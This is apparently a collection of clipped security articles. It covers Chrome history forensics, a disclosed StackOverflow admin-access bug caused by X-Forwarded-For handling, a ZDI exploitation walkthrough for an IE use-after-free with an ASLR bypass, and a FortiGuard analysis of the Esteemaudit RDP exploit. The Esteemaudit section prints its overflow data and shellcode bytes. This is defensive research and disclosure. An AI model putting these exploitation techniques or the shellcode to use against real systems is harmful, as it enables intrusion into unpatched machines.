which other have noticed as well, such as firefoxforensics.

If we take a look at the schema of the downloads table \(.schema downloads\)
we see

[code]

    CREATE TABLE downloads (id INTEGER PRIMARY KEY,full_path LONGVARCHAR NOT NULL,url LONGVARCHAR NOT NULL,
    start_time INTEGER NOT NULL,received_bytes INTEGER NOT NULL,total_bytes INTEGER NOT NULL,state INTEGER NOT NULL);
    
[/code]

And examine the timestamp there \(the start\_time\) we can see that it is
stored in Epoch format.

There is one more interesting thing to mention in the “visits” table. It is
the row “transition”. This value describes how the URL was loaded in the
browser. For full documentation see the source code of page\_transition\_types
or in a shorter version the core parameters are the following:

  * LINK. User go to the page by clicking a link.
  * TYPED. User typed the URL in the URL bar.
  * AUTO\_BOOKMARK. User got to this page through a suggestion in the UI, for example,through the destinations page
  * AUTO\_SUBFRAME. Any content that is automatically loaded in a non-toplevel frame. User might not realize this is a separate frame so he might not know he browsed there.
  * MANUAL\_SUBFRAME. For subframe navigations that are explicitly requested by the user and generate new navigation entries in the back/forward list.
  * GENERATED. User got to this page by typing in the URL bar and selecting an entry that did not look like a URL.
  * START\_PAGE. The user’s start page or home page or URL passed along the command line \(Chrome started with this URL from the command line\)
  * FORM\_SUBMIT. The user filled out values in a form and submitted it.
  * RELOAD. The user reloaded the page, whether by hitting reload, enter in the URL bar or by restoring a session.
  * KEYWORD. The url was generated from a replaceable keyword other than the default search provider
  * KEYWORD\_GENERATED. Corresponds to a visit generated for a keyword.

The transition variable contains more information than just the core
parameters. It also stores so called qualifiers such as whether or not this
was a client or server redirect and if this a beginning or an end of a
navigation chain.

When reading the transition from the database and extracting just the core
parameter the variable CORE\_MASK has to be used to AND with the value found
inside the database.

CORE\_MASK = 0xFF,

I’ve created an input module to log2timeline to make things a little bit
easier by automating this. At this time the input module is only available in
the nightly builds, but it will be released in version 0.41 of the framework.

An example usage of the script is the following:

[code]

    log2timeline -f chrome -z local History
    
[/code]

[code]

    ...
    
[/code]

[code]

    0|[Chrome] User: kristinng URL visited: http://tools.google.com/chrome/intl/en/welcome.html (Get started with Google Chrome) [count: 1] Host: tools.google.com type: [START_PAGE - The start page of the browser] (URL not typed directly)|0|0|0|0|0|1261044829|1261044829|1261044829|1261044829
    
[/code]

[code]

    ...
    
[/code]

[code]

    0|[Chrome] User: kristinng URL visited: http://isc.sans.org/ (SANS Internet Storm Center; Cooperative Network Security Community - Internet Security) [count: 1] Host: isc.sans.org type: [TYPED - User typed the URL in the URL bar] (directly typed)|0|0|0|0|0|1261044989|1261044989|1261044989|1261044989..
    
[/code]

The script reads the user name from the directory path the history file was
found and then reads the database structure from the History file and prints
out the information in a human readable form \(this output is in mactime
format\). To convert the information found here in CSV using mactime

[code]

    log2timeline -f chrome -z local History > bodyfile
    
[/code]

[code]

    mactime -b bodyfile -d > body.csv
    
[/code]

And the same lines in the CSV file are then:

[code]

    Thu Dec 17 2009 10:13:49,0,macb,0,0,0,0,[Chrome] User: kristinng URL visited: http://tools.google.com/chrome/intl/en/welcome.html (Get started with Google Chrome) [count: 1] Host: tools.google.com type: [START_PAGE - The start page of the browser] (URL not typed directly)
    Thu Dec 17 2009 10:16:29,0,macb,0,0,0,0,[Chrome] User: kristinng URL visited: http://isc.sans.org/ (SANS Internet Storm Center; Cooperative Network Security Community - Internet Security) [count: 1] Host: isc.sans.org type: [TYPED - User typed the URL in the URL bar] (directly typed)
    
[/code]

  
 _Kristinn Guðjónsson, GCFA \#5028, is the author of log2timeline and several
other scripts as well as being the team leader of information security at
Skyggnir, forensic analyst, incident handler an a local mentor for SANS._

  *[January 21, 2010 – 7:33 am]: 2010-01-21T07:33:49+0000

# ReFormat: Automatic Reverse Engineering of Encrypted Messages

**Created:**| _3/9/2010 8:48:00 PM_  
---|---  
**Updated:**| _3/9/2010 8:48:19 PM_  
**Author:**| __  
**Tags:**| _reversing network-security patents_  
  
<img src='img/Temp2_6775' />

# ircmaxell's blog: Anatomy of an Attack: How I Hacked StackOverflow

**Created:**| _11/18/2012 8:18:44 AM_  
---|---  
**Updated:**| _11/18/2012 8:18:44 AM_  
**Author:**| __  
**Tags:**| __  
  

# Anatomy of an Attack: How I Hacked StackOverflow

Almost two years ago I had stumbled upon a pretty significant vulnerability in
the StackExchange network. I say stumbled, because I wasn't actually trying to
attack the site. Circumstance just showed me a door. The actual attack is
pretty interesting, and it holds a lesson for everybody who builds or
maintains websites or server infrastructure. So here's the story on how I
hacked StackOverflow...

##  The Setup

At the time, I was working for a small company which had a firewall that was
rather draconian. It would strip all non-HTTP/1.1 spec headers from requests
and responses \(Actually, it stripped some valid HTTP/1.1 headers as well\).
Something which played hell with modern websites which rely on things like _X-
Requested-With._ So for most of my non-internal usage, I had setup a proxy.

I had a few public servers at the time, so I just installed Squid on one of
them. I was somewhat smart with it, and limited its connections to 127.0.0.1.
I would then setup a SSH tunnel to the server and point my browser to a proxy
on localhost. The browser would connect to the tunnel, which would connect to
the server's squid. All was better. Not only was my connection secure, but it
also enabled me to use modern websites without any issue.

For those of you who would point out the ethical implications of this, I would
point you to the fact that I had access to do this. It wasn't just that I
could, I was explicitly told to use it, as we had to work with some of those
sites that didn't work through the firewall. So I wasn't doing anything
"wrong".

##  The Attack

So I was hanging out on StackOverflow's chat fairly frequently at that point.
At that time, it was still very new, and still had a bug or two. One day I
started noticing stack traces on the main site. I didn't think anything of it
at that point, because I'd been used to seeing them all over the internet. In
fact, almost every time I got an error page on an ASP.NET site, I'd see a
stack trace. But at this point, I didn't put 2+2 together.

It wasn't until I noticed a new menu item in the chat application that it
really clicked. This new menu item was named "Admin". Curious, I clicked the
link, figuring I'd be immediately denied access. What happened next surprised
me. Not only was I not denied access, but I was granted full access to
everything. I had the developer console to see what people were doing. I had a
database query interface where I could directly query any database that I
wanted. I had admin access to chat.

##  What Happened Next

The next thing that I did was what I felt was the responsible thing to do: I
pinged a moderator. In a few short minutes, I was in a private chat with the
moderator as well as two developers. We found the cause of the issue in about
10 minutes. They had a workaround in place about 10 minutes later. The full
fix took a few hours, but it was quickly done and rolled out. Really, they
could not have responded better. I still have the chat log, and let's just say
that those developers deserve every accolade that I can give them. They
responded quickly and professionally. And they solved the problem within
minutes of me reporting it.

##  The Vulnerability

If you're clever, you should be able to figure out what happened. But in case
you didn't, here's how it went down. When I had my connection proxied through
Squid, it added a _X-Forwarded-For_ header. The value of this header was the
IP of my source browser which made the request. But because of the SSH tunnel,
the IP was localhost. To Squid, there was no difference between my browser and
local. So it added _X-Forwarded-For: 127.0.0.1_...

The really interesting part was what ASP was reporting. When they configured a
page which would dump the raw request headers, my requests came through as
_Remote\_Addr: 127.0.0.1_\!\!\! In their application, they were checking the
correct header value. But IIS was misconfigured to rewrite _Remote\_Addr_ from
_X-Forwarded-For_ if it existed. So thanks to a misconfiguration, I was able
to get admin access as easily as using my proxy.

##  The Takeaway

There are a few takeaways from this that I think are important to point out.
The first is the simple one. Never rely upon _X-Forwarded-For_ for anything
with respect to security. Always use _Remote\_Addr_. And given that, I think
it's worth asking the question if you need IP based security in the first
place. Or at least don't rely on IP based security, and just use it as a
defense-in-depth tool. But don't rely on it.

The next takeaway is an interesting one. It's worth noting that the developers
did use the proper header check. This takeaway is that you should never
blindly trust your infrastructure. This attack was possible because of a
difference of configuration between the server and the application. Little
things like that happen every day. The application assumes one thing, and the
server assumes another. The problem is that these types of trust can
completely undermine security. In this case, the developers trusted the header
value \(which I think is reasonable\), but the server was misconfigured. Of
course there are going to be cases where you have to trust the server or other
components, but the point here is that blind trust isn't a good thing. Think
about it, and put layers of defense in there to protect against it.

The third takeaway is a very positive one. The SO team was absolutely
incredible to deal with during this. They were fast, responsive and
reasonable. They asked for my help \(which I gladly gave\), and were both
professional and respectful. And not only did they do all of this, but they
found and fixed the exact problem faster than I would have ever expected. I
really can't talk up the developers enough. They did a fantastic job. We
should all take a lesson from them. Treat vulnerability reports seriously.
Respond professionally and quickly. And work the problem while trying not to
create new ones...

##  Applying This To PHP

The interesting thing here is that PHP applications may have the same style
vulnerability. Check out Symfony2's Request class. On the surface it looks
great. Until you notice that it uses a static variable to determine if it
should use the proxy information. That means that if ANY part of your
application wants proxy information \(such as a logging class\), all of your
application after that will get the proxied information. So to see if you're
vulnerable to this style attack, grep your code for _$request-
>trustProxy\(\)_. Also note that there's no in-built mechanism to untrust the
proxy. Once it switches to true, it will stay true. Sounds like a major design
flaw to me...

It's worth nothing that Zend Framework 2 does not have this functionality.
They have an IP session validator, which behaves similar to Symfony's Request
class \(in terms of getting the IP\). However, Zend Framework 1 did have
functionality to get the IP address. And in my opinion, this is the right way
to do it. Don't rely on brittle state or even global state. Have the requestor
explicitly choose what they want, defaulting to the secure alternative.

##  Conclusion

This issue came about because of a combination of issues. Each by themselves
is very easy to overlook and has little consequence to the overall
application. But when you combine them in the right way, you get a very
serious security issue. And the biggest lesson is that you really can't trust
anything outside of your application. If you can code around it \(such as not
trusting headers like REMOTE\_ADDR\), then you can make your application more
secure. But most of all, think about the code you write and the systems you
build. And then support them.

# Double-Dip: Using the latest IE 0-day to get RCE ... - HP Enterprise
Business Community

**Created:**| _5/8/2014 12:58:26 PM_  
---|---  
**Updated:**| _5/8/2014 12:58:26 PM_  
**Author:**| __  
**Tags:**| _Exploit aslr Dep_  
  

# Double-Dip: Using the latest IE 0-day to get RCE and an ASLR Bypass

  
  

**Overview**

The last couple of days there has been a big buzz regarding an IE 0-day being
exploited in the wild. The exploit was caught by FireEye. The FireEye blog
stated that a Flash bug has been used to bypass ASLR. This caught our
attention here in the ZDI, and made us wonder if we can actually bypass ASLR
and DEP using the same IE bug without the Flash one.

**Initial Crash**

The browser would crash with pageheap on in the following function:

<img src='img/Temp2_2367.png' alt='initialCrash.png' />

The stack trace at crash time:

<img src='img/Temp2_2366.png' alt='stacktrace.png' />

The free happened here:

<img src='img/Temp2_2359.png' alt='free.png' />

**Control**

In order to fill up the freed memory, we would need to get the length of the
object:

<img src='img/Temp2_2363.png' alt='size.png' />

Filling up the freed object is relatively easy from there and the crash would
look like this:

<img src='img/Temp2_2355.png' alt='control.png' />

**Exploitation**

According to the online reports, the exploit found in the wild used Flash to
bypass ASLR.

Let’s take a look at the ASM around the crash spot to understand the options
that we have to gain RCE. The following was performed on IE11 on 32-bit
Windows 8.1.

If we take one step backwards to check the functions and instructions around
CMarkup::IsConnectedToPrimaryMarkup, we notice that right before returning
there’s a CALL instruction that might be controllable:

<img src='img/Temp2_2357.png' alt='rce.png' />

It seems legit, and definitely in our control:

<img src='img/Temp2_2362.png' alt='rce1.png' />

So far, we know we can gain RCE from the bug. Now the question is whether or
not we are able to leak out of this bug.

**ASLR Bypass**

The plan is to find an instruction that would allow for a controlled:

  1. write-4
  2. write-0
  3. ADD \[controlled\],X
  4. INC \[controlled\]
  5. DEC \[controlled\]
  6. AND \[controlled\],XXXXXXX
  7. Etc..

The above options would allow us to do one of the following:

  1. Change the length of some BSTR in memory to leak memory
  2. Tricking IE into thinking that some number is an actual object , thus triggering a type confusion

There are a couple of functions that are called after
CMarkup::IsConnectedToPrimaryMarkup. I won’t cover all the function calls, but
I will highlight the ones of interest.

**_CElement::EnsureFormatCacheChange\(\):_**

Inside this function there’s a call to CElement::ClearRunCaches\(\) that we
can reach.

And inside CElement::ClearRunCaches\(\) there’s a call to
CMarkup::ClearRunCaches\(\).

CMarkup::ClearRunCaches\(\) contains interesting instructions that we can
reach and control. Some of them allow controlled null writes, and others would
allow zero’ing out the least significant bit \(LSB\) of a controlled address
like this AND instruction:

<img src='img/Temp2_2361.png' alt='AND.png' />

This definitely helps in creating type confusion.

Another function of interest, and which I’ve personally used to trigger type
confusion, is CView::AddInvalidationTask\(\).

**_CView::AddInvalidationTask\(\):_**

If we check the assembly inside of this function closely we’ll notice that we
have something quite interesting:

<img src='img/Temp2_2358.png' alt='INC.png' />

There’s an INC instruction that we potentially control.

But do we really control it?

<img src='img/Temp2_2364.png' alt='INC1.png' />

Yep, we do.

This gives us two options, either modify some BSTR length or trigger a type
confusion by INC’ing a controlled location and setting the LSB to 0.

The strategy that I took to trigger a type confusion is the following:

  1. Place a value in memory that IE thinks is a Number
  2. INC that value, so then, LSB is 0, and IE then thinks it’s an object
  3. Modify the location that the address points to and craft your fake object
  4. Use that object to read memory and leak a memory address

If everything went as planned, we’ll be able to leak base addresses:

<img src='img/Temp2_2356.png' alt='leak.png' />

**Exploitation problems**

There are some problems that I ran through:

  1. Attempting to re-trigger the bug more than once
  2. Crashing on a CLock:CLock
  3. Bypassing the CALL right before the RET

In order to re-trigger the bug more than once \(which is required to trigger
the type confusion\), I had to re-build the document again. This can be done
easily by re-writing the exact HTML elements required to trigger the bug using
a simple document.write\(\).

The second problem was crashing on a CLock:CLock making it difficult for us to
continue execution.

If we step back a bit inside MSHTML\!CView::AddInvalidationTask, we will
notice that there’s a call to CView::PostCloseView.

Inside CView::PostCloseView, there’s a test that we should take and exit pre-
maturely:

<img src='img/Temp2_2360.png' alt='test.png' />

If we don’t take that jump, and exit cleanly, we CLock::CLock will end up
being called right after being triggered, thus it won’t allow multiple
triggers.

The final problem is bypassing the CALL instruction that was used by the
attackers to get RCE.

This is an easy problem to solve:

<img src='img/Temp2_2354.png' alt='bypassCALL.png' />

If ECX is 0 at the test, then we can bypass that virtual call, and thus return
cleanly.

This is all in our control. So, problem solved.

This is the path that I took to exploit the bug \(Node in RED should be
avoided\):

<img src='img/Temp2_2365.png' alt='overview.png' />

It’s pretty expensive to use two bugs when you can actually use one. The Flash
bug has been used more than once. Using known bugs increases the chances of
detection and thus an attacker would not have been caught as quickly without
it. Investing time and focus into exploit primitives around use-after-free
vulnerabilities will be beneficial and will minimize the number of bugs
necessary for code execution.

Abdul Aziz Hariri

HP ZDI, Senior Security Researcher

# Deep Analysis of Esteemaudit

**Created:**| _5/12/2017 1:05:14 PM_  
---|---  
**Updated:**| _5/12/2017 1:05:14 PM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

  

## Deep Analysis of Esteemaudit

by **<img src='img/Temp2_2051.png' width='15' height='15' alt='RSS' /> Dehui Yin ** | May 11, 2017 | Filed in: Security Research
## _A Windows 2003 RDP Zero Day Exploit_

In this blog, the FortiGuard team takes a look at Esteemaudit, which is an
exploit that was included in the set of cybertools leaked by the hacker group
known as "Shadow Brokers." They claim that they collected this set of
cybertools from the compromised data of "Equation Group," a threat actor
alleged to be tied to the United States National Security Agency \(NSA\).

Esteemaudit is a Remote Desktop Protocol \(RDP\) exploit that targets
Microsoft Windows Server 2003 / Windows XP. The vulnerability this RDP exploit
targets will not be patched since Microsoft has stopped supporting these two
products. By exploiting this vulnerability, a threat actor can target a remote
RDP Service and eventually take control of the compromised system.

The vulnerability exploited by this attack is related to Smart Card
authentication used when logging onto the system via the RDP service. In this
post, we will examine the Windows Smart Card logon mechanism, and figure out
the root cause of this vulnerability.

Smart Card logon is supported by all Windows versions after Windows 2000. It
contains a chip that stores the user logon information, along with the private
key and public certificate key. By inserting it into a Smart Card Reader
attached to the computer, and typing in a Personal Identification Number
\(PIN\), a user can securely log onto the Windows system. When logon occurs
via the RDP service, the remote machine running the RDP service communicates
with the local computer, which then connects to the Smart Card Reader,
requests the information in the Smart Card, and verifies the PIN.

This vulnerability is located in the "MyCPAcquireContext\(\)" function in
"gpkcsp.dll", which is called by "winlogon.exe" in the new windows session.
The "MyCPAcquireContext\(\)" function is used to set up the Windows
Cryptographic Service Providers \(CSP\) context. It reads the data from the
Smart Card and sets the value of the fields of the CSP context structure. If
the data read from the Smart Card is overlarge, the field buffer used by CSP
context structure overflows and overwrites another field, eventually enabling
arbitrary code execution.

First, we’ll run Esteemaudit and check the attack output. Esteemaudit is an
executable file used in the FuzzBunch framework. Once it is configured, and
the target machine \(a Windows Server 2003 SP2 with the Domain Controller
configured\) is set up correctly, we get the following output:

The configuration:

<img src='img/Esteemaudit001.jpg' width='668' height='701' />

Here, the ret0c value of 134241925\(0x08005e85\), is used in the shellcode,
and runs just after triggering the vulnerability. We can see it in the
following analysis.

The attack output:

<img src='img/Esteemaudit003.jpg' width='664' height='700' />

Here, the entries "\[+\]SELECT FILE - Don't care which", "\[+\]GET\_RSPONSE -
from SELECT\_FILE", "READ\_BINARY - start of file", and "\[+\]Shellcode sent"
are all related to the vulnerability and the shellcode. Next, we will explain
how they work.

There are three buffer addresses that will be used in our analysis. Receive
Buffer "0x80190d8"\(invariable\) is used to receive the data from the Smart
Card, Send Buffer "0x80192d8"\(invariable\) is used to store the data sent to
the local computer with the Smart Card Reader, and CSP context structure
Buffer "0x2a6f40"\(variable\) is the base address of the CSP context
structure. The following assembly code snippet was taken from windbg on
Windows Server 2003 SP2. Comments added by me have been highlighted.

> `_gpkcsp!MyCPAcquireContext:_`
> `_001b:0800df79 89b408a0000000 mov dword ptr [eax+ecx+0A0h],esi_** _--- >set
> the "[A0h]" field as null,[A0h] is hKey field, which will be used to trigger
> the vulnerability later._**`
> `_001b:0800df80 8b03 mov eax,dword ptr [ebx]_`
> `_001b:0800df82 8b0dd86d1708 mov ecx,dword ptr [gpkcsp!ProvCont
> (08176dd8)]_`
> `_001b:0800df88 69c0b8000000 imul eax,eax,0B8h_`
> `_001b:0800df8e c6840898000000ff mov byte ptr [eax+ecx+98h],0FFh
> ds:0023:002a6fd8=00_`
MyCPAcquireContext initializes the CSP context structure field at first. It
sets all the fields as NULL.

> `_001b:0800666b 57 push edi_`
> `_001b:0800666c 6a10 push 10h**--- >the data length that will be sent**_`
> `_001b:0800666e 58 pop eax_`
> `_001b:0800666f c605d892010800 mov byte ptr [gpkcsp!IsProgButtonClick+0x20c
> (080192d8)],0_`
> `_001b:08006676 c605d9920108a4 mov byte ptr [gpkcsp!IsProgButtonClick+0x20d
> (080192d9)],0A4h**--- >the Smart Card standard command type**_`
> `_001b:0800667d c605da92010804 mov byte ptr [gpkcsp!IsProgButtonClick+0x20e
> (080192da)],4_`
> `_001b:08006684 c605db92010800 mov byte ptr [gpkcsp!IsProgButtonClick+0x20f
> (080192db)],0_`
> `_001b:0800668b c605dc9201080b mov byte ptr
> [gpkcsp!IsProgButtonClick+0x210_`
> `_(080192dc)],0Bh_`
> `_...._`
> `_001b:080066a8 6a00 push 0_`
> `_001b:080066aa 50 push eax_`
> `_001b:080066ab 66a5 movs word ptr es:[edi],word ptr [esi]_`
> `_001b:080066ad 68d8920108 push offset gpkcsp!IsProgButtonClick+0x20c
> (080192d8)_`
> `_001b:080066b2 ff35cc110008 push dword ptr [gpkcsp!_imp__g_rgSCardT0Pci
> (080011cc)]_`
> `_001b:080066b8 a348701708 mov dword ptr [gpkcsp!ProvCont+0x270
> (08177048)],eax_`
> `_001b:080066bd a1d86d1708 mov eax,dword ptr [gpkcsp!ProvCont (08176dd8)]_`
> `_001b:080066c2 a4 movs byte ptr es:[edi],byte ptr [esi]_`
> `_001b:080066c3 c705dc6d170800020000 mov dword ptr [gpkcsp!ProvCont+0x4
> (08176ddc)],200h_`
> `_001b:080066cd ff740304 push dword ptr [ebx+eax+4]_`
> `_001b:080066d1 e81ff5ffff call gpkcsp!DoSCardTransmit (08005bf5)**--- >call
> the driver "termdd.sys" to send the command to the local computer with Smart
> Card Reader.**_`
Windows uses the driver "Termdd.sys" to communicate with the Smart Card
machine in the Windows kernel, according to Smart Card Standard ISO 7816-4.
"gpkcsp.dll" constructs the command bytes in Send Buffer, and calls
"Termdd.sys" to transmit the data. Here, it sends the "SELECT\_FILE" command
to the Smart Card machine. The Send Buffer looks like this:

> `_080192d8 00 a4 04 00 0b a0 00 00 00 18 0f 00 01 63 00 01_`
Here, "a4" means Command type "SELECT\_FILE". This command is used to select a
file in the Smart Card, on the common condition, and the data following the
Command type indicates the File Identifier. "04 00" means that it will select
an application inside the Smart Card directly, but not select a file. The data
following that marker is the application ID. The attack output "\[+\]SELECT
FILE - Don't care which " indicates that Esteemaudit receives this command.
Esteemaudit then responds with a simple status code, and "MyCPAcquireContext"
sends the five-byte "GET RESPONSE" message below:

_080192d8 00 c0 00 00 ff_

Here, "ff" tells the Smart Card that the limit for the Receive Buffer is 0xff,
and asks the Smart Card \(Esteemaudit simulates a smart card to send data\) to
send the data related to the above "SELECT FILE" command. It shows
"\[+\]GET\_RSPONSE - from SELECT\_FILE" in the attack output. \]Esteemaudit
then sends the data to overwrite the \[A0h\] field of the CSP context
structure.

We can check the message in the Receive Buffer. The message length is 0xb2:

> `_080190d8 13 d6 28 1e c2 e9 d2 bc 4b 96 ba e2 36 cb 0b bb
> ..(.....K...6..._`
> `_080190e8 8b 64 c6 ef cc ea bc 56 09 e1 b3 34 49 45 0b d4
> .d.....V...4IE.._`
> `_080190f8 d5 38 e6 c4 a6 5e 24 7e 90 00 22 c0 54 71 ad 5e
> .8...^$~..".Tq.^_`
> `_08019108 43 c0 01 dd 9e 45 4c 91 51 09 92 92 35 99 5a 47
> C....EL.Q...5.ZG_`
> `_08019118 8d 3f 17 dd cd 3b a9 59 70 f4 e3 ae e8 b3 7a 80
> .?...;.Yp.....z._`
> `_08019128 6e eb 53 f0 b9 97 81 32 68 ba ef 31 26 7e 17 16 n.S....2h..1
> &~.._`
> `_08019138 46 0a a6 e9 f4 8b 87 22 a8 78 29 69 03 a4 79 53
> F......".x)i..yS_`
> `_08019148 bb 16 6b 5f bc 40 81 02 32 8d 3b 00 90 da cb e3
> ..k_.@..2.;....._`
> `_08019158 55 dc 04 d2 9e fe e6 98 3d bb a9 14 7a**dc 90 01**
> U.......=...z..._`
> `_08019168**08** 00 90 00 00 45 7d b6 d7 45 6e 58 ad 3d 07 3b
> .....E}..EnX.=.; **--- >the malicious data includes address "0x080190dc",
> which is in the Receive Buffer.**_`
> `_08019178 56 22 2d e9 1a ef fc 5f 7f 13 9f 38 ed 29 49 51
> V"-...._...8.)IQ_`
> `_08019188 e5 f8 00_`
> `_001b:0800e1c4 e82c7affff call gpkcsp!DoSCardTransmit (08005bf5)**--
> >transmits the data and gets the new message from the Smart Card.**_`
> `_001b:0800e1de 85c0 test eax,eax_`
> `_001b:0800e1e0 743c je gpkcsp!MyCPAcquireContext+0x758 (0800e21e)**---
> >jump to 0x800e21e**_`
> `_001b:0800e21e 8b13 mov edx,dword ptr [ebx]_`
> `_001b:0800e220 8b35d86d1708 mov esi,dword ptr [gpkcsp!ProvCont
> (08176dd8)]_`
> `_001b:0800e226 69d2b8000000 imul edx,edx,0B8h_`
> `_001b:0800e22c 6a20 push 20h_`
> `_001b:0800e22e 33c0 xor eax,eax_`
> `_001b:0800e230 8d7c3218 lea edi,[edx+esi+18h]_`
> `_001b:0800e234 8bb5a4f0ffff mov esi,dword ptr [ebp-0F5Ch]_`
> `_001b:0800e23a 59 pop ecx_`
> `_001b:0800e23b f3ab rep stos dword ptr es:[edi]_`
> `_001b:0800e23d 803ddc90010830 cmp byte ptr [gpkcsp!IsProgButtonClick+0x10
> (080190dc)],30h ds:0023:080190dc=c2**--- >0x80190dc is "0xc2", it should not
> be "0x30" to trigger the vulnerability**_`
> `_001b:0800e26b 83baa400000000 cmp dword ptr [edx+0A4h],0
> ds:0023:002a6fe4=00000000**--- > check to see if the [A4h] field of the CSP
> context structure has been set to NULL. If it is NULL, it is set as NULL in
> the initialization.**_`
> `_001b:0800e277 6a20 push 20h_`
> `_001b:0800e279 59 pop ecx_`
> `_001b:0800e27a 33c0 xor eax,eax_`
> `_001b:0800e27c f3ab rep stos dword ptr es:[edi]_`
> `_001b:0800e27e eb22 jmp gpkcsp!MyCPAcquireContext+0x7dc (0800e2a2)_`
> `_001b:0800e280 8b0ddc6d1708 mov ecx,dword ptr [gpkcsp!ProvCont+0x4
> (08176ddc)] ---- >data length "0xb2"_`
> `_001b:0800e286 83c1f9 add ecx,0FFFFFFF9h**--- >subtract 7 header bytes**_`
> `_001b:0800e289 8bc1 mov eax,ecx_`
> `_001b:0800e28b c1e902 shr ecx,2_`
> `_001b:0800e28e bedd900108 mov esi,offset gpkcsp!IsProgButtonClick+0x11
> (080190dd)_`
> `_001b:0800e293 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
> es:0023:002a6f58=00000000 ds:0023:080190dd=4bbcd2e9**--- >copy "0xb2-7=0xab"
> bytes to the CSP context base address and overwrite the [A0h] field **_`
The following is the memory overwritten:

> `002a6fe0 dc 90 01 08 00 90 00 00 45 7d b6 d7 45 6e 58 ad 3d 07 3b 56 22 2d
> e9 `
> `002a6ff7 1a ef fc 5f 7f 13 9f 38 ed`
"MyCPAcquireContext" sends the "READ\_BINARY" command to read the file data
from the Smart Card, and Esteemaudit sends the shellcode to trigger the
vulnerability. It shows "READ\_BINARY - start of file" and "\[+\]Shellcode
sent" in the attack output.

We can see the shellcode in the Receive Buffer below:

> `_080190d8 4d 2b e9 53 7a 1e 01 08 8e 11 01 08**85 5e 00 08**
> M+.Sz........^.. **--- >we can see ret0C=**_**_134241925(0x08005e85_**** _)
> and other arguments in the configuration_**`
> `_080190e8 dd be 00 08 11 11 11 11 cf ca c2 2c 4c 63 8a d7
> ...........,Lc.._`
> `_080190f8 00 00 00 00 4d 13 c4 38 ef 1f 01 08 78 90 01 08
> ....M..8....x..._`
> `_08019108 6f ec 9f f8 22 22 22 22 00 00 00 00 e6 f6 e0 09
> o...""""........_`
> `_08019118 00 40 00 00 cc 28 01 08 8f 00 00 00 00 03 fe 7f
> .@...(.........._`
> `_08019128 74 50 01 08 48 91 01 08 18 91 01 08 ff ff ff ff
> tP..H..........._`
> `_08019138 30 91 01 08 18 91 01 08 40 00 00 00 30 91 01 08
> 0.......@...0..._`
> `_08019148 b0 04 64 8b 00 2d 00 06 00 00 89 c4 89 c6 e8 00
> ..d..-.........._`
> `_08019158 00 00 00 90 5d 8b 85 d5 00 00 00 89 46 04 8b 85
> ....].......F..._`
> `_08019168 d9 00 00 00 89 46 0c 31 c0 89 46 10 89 46 14 8b
> .....F.1..F..F.._`
> `_08019178 85 dd 00 00 00 8b 00 8b 80 bc 00 00 00 89 46 18
> ..............F._`
> `_08019188 8b 85 e1 00 00 00 8b 00 89 46 1c 8b 85 e5 00 00
> .........F......_`
> `_08019198 00 8b 00 89 46 20 8b 46 0c 89 46 28 31 c0 89 46 ....F
> .F..F(1..F_`
> `_080191a8 2c e8 b5 00 00 00 85 c0 75 66 8b 46 2c 89 46 08
> ,.......uf.F,.F._`
> `_080191b8 8b 46 0c 2b 46 10 50 89 e0 50 8b 46 08 03 46 10
> .F.+F.P..P.F..F._`
> `_080191c8 50 31 c0 50 ff 76 14 ff 76 04 ff 76 20 ff 76 18 P1.P.v..v..v
> .v._`
> `_080191d8 ff 56 1c 59 89 46 14 8b 46 10 01 c8 89 46 10 8b
> .V.Y.F..F....F.._`
> `_080191e8 46 08 89 46 24 8b 46 10 3b 85 d9 00 00 00 7c c0
> F..F$.F.;.....|._`
> `_080191f8 31 c0 89 46 10 8b 4e 24 89 c8 89 01 51 ff 71 04
> 1..F..N$....Q.q._`
> `_08019208 89 c8 83 c0 14 50 ff d0 31 c0 eb 03 31 c0 48 50
> .....P..1...1.HP_`
> `_08019218 8b 46 2c 85 c0 74 0e 8b 58 10 e8 58 00 00 00 85
> .F,..t..X..X...._`
> `_08019228 db 74 02 ff d3 31 e4 c3 d8 92 01 08 f2 62 00 00
> .t...1.......b.._`
> `_08019238 d8 6d 17 08 9c 11 00 08 cc 11 00 08 b8 12 00 00
> .m.............._`
> `_08019248 00 8d 54 24 04 cd 2e c2 18 00 c2 18 00 b8 57 00
> ..T$..........W._`
> `_08019258 00 00 8d 54 24 04 cd 2e c2 10 00 6a 40 68 00 30
> ...T$......j@h.0_`
> `_08019268 00 00 8d 46 28 50 31 c0 50 8d 46 2c 50 31 c0 48
> ...F(P1.P.F,P1.H_`
> `_08019278 50 e8 c6 ff ff ff c3 68 00 80 00 00 8d 46 28 50
> P......h.....F(P_`
> `_08019288 8d 46 2c 50 31 c0 48 50 e8 c0 ff ff ff c3 8e 58
> .F,P1.HP.......X_`
> `_001b:08005fbd a1d86d1708 mov eax,dword ptr [gpkcsp!ProvCont (08176dd8)]_`
> `_001b:08005fc2 03c6 add eax,esi_`
> `_001b:08005fc4 83b8b000000000 cmp dword ptr [eax+0B0h],0**--- > check the
> [B0h] field of the CSP context structure. It has already been overwritten at
> the same time as the [A0h] field , and is no longer NULL **_`
> `_001b:08005fcb 0f8598000000 jne gpkcsp!Select_MF+0x139 (08006069)**---
> >check failed, jump to end the communication and release the CSP context
> structure**_`
> `_...._`
> `_001b:08007c11 a1d86d1708 mov eax,dword ptr [gpkcsp!ProvCont (08176dd8)]_`
> `_001b:08007c16 897c0614 mov dword ptr [esi+eax+14h],edi_`
> `_001b:08007c1a a1d86d1708 mov eax,dword ptr [gpkcsp!ProvCont (08176dd8)]_`
> `_001b:08007c1f 8b8406a0000000 mov eax,dword ptr [esi+eax+0A0h]**--- >get
> the overwritten value and pass it as the argument**_`
> `_001b:08007c26 3bc7 cmp eax,edi_`
> `_001b:08007c28 740f je gpkcsp!ReleaseProvider+0xfd (08007c39)_`
> `_001b:08007c2a 50 push eax_`
> `_001b:08007c2b ffd3 call ebx {ADVAPI32!CryptDestroyKey (77f3f5b0)}_`
_We can check register value here:_

> `_kd > r_`
> `_eax=**080190dc** ebx=77f3f5b0 ecx=002a6828 edx=00440001 esi=000000b8
> edi=00000000 --->eax is overwritten_`
> `_eip=08007c2b esp=006ce424 ebp=006ce438 iopl=0 nv up ei pl nz na po nc_`
> `_cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202_`
> `_gpkcsp!ReleaseProvider+0xef:_`
> `_001b:08007c2b ffd3 call ebx {ADVAPI32!CryptDestroyKey (77f3f5b0)}_`
> `_ADVAPI32!CryptDestroyKey:_`
> `_001b:77f3f605 85c0 test eax,eax_`
